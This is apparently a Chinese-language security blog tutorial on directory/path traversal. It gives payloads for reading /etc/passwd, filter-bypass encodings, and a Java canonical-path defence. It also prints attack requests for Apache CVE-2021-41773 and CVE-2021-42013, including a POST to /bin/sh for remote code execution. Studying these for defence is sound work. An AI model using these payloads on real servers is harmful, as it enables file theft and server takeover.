[網站漏洞] 003 Directory traversal/File Path traversal 路徑穿越/目錄遍歷

飛飛 | 2022-03-30

本文介紹目錄遍歷(文件路徑遍歷)-Directory traversal/Path traversal,透過漏洞取得伺服器檔案,如原始碼、設定檔(帳號密碼 IP)造成敏感外洩。

因為有很多 ../../../ 又稱 dot-dot-slash attack。

Path Traversal

目錄遍歷(文件路徑遍歷)可以透過這個漏洞取得伺服器的任意檔案,包含以下的內容,如伺服器內部的原始碼,敏感資料設定檔(帳號密碼 IP 等),有可能可以寫入任意檔案或取得伺服器的權限。 ## Directory traversal example

以下為範例 - 相對位置

  • ../../../etc/passwd
    • 絕對位置
  • /etc/passwd
    • 如果過濾掉 ../path.replaceAll('../', '')
  • 使用 ....//....//....//
    • ....// 中間 ../ 被過濾掉
    • 或使用 ....\/....\/....\/
  • ..%c0%af or ..%252f
    • filename=/var/www/images/../../../etc/passwd
  • filename=../../../etc/passwd%00.png

如何預防攻擊 - 如何預防攻擊

  • 避免使用者輸入直接與 API 接觸
  • 白名單
  • java code demo
File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
    // process file
}

apache directory traversal

已知漏洞 CVE-2021-41773

<Directory />
Require all granted
</Directory>

  • 攻擊封包
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080

已知漏洞 CVE-2021-42013

GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: 127.0.0.1:8080

  • 攻擊封包(RCE)
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:8080

POST/cgi-bin/../../../../../../../bin/shHTTP/1.1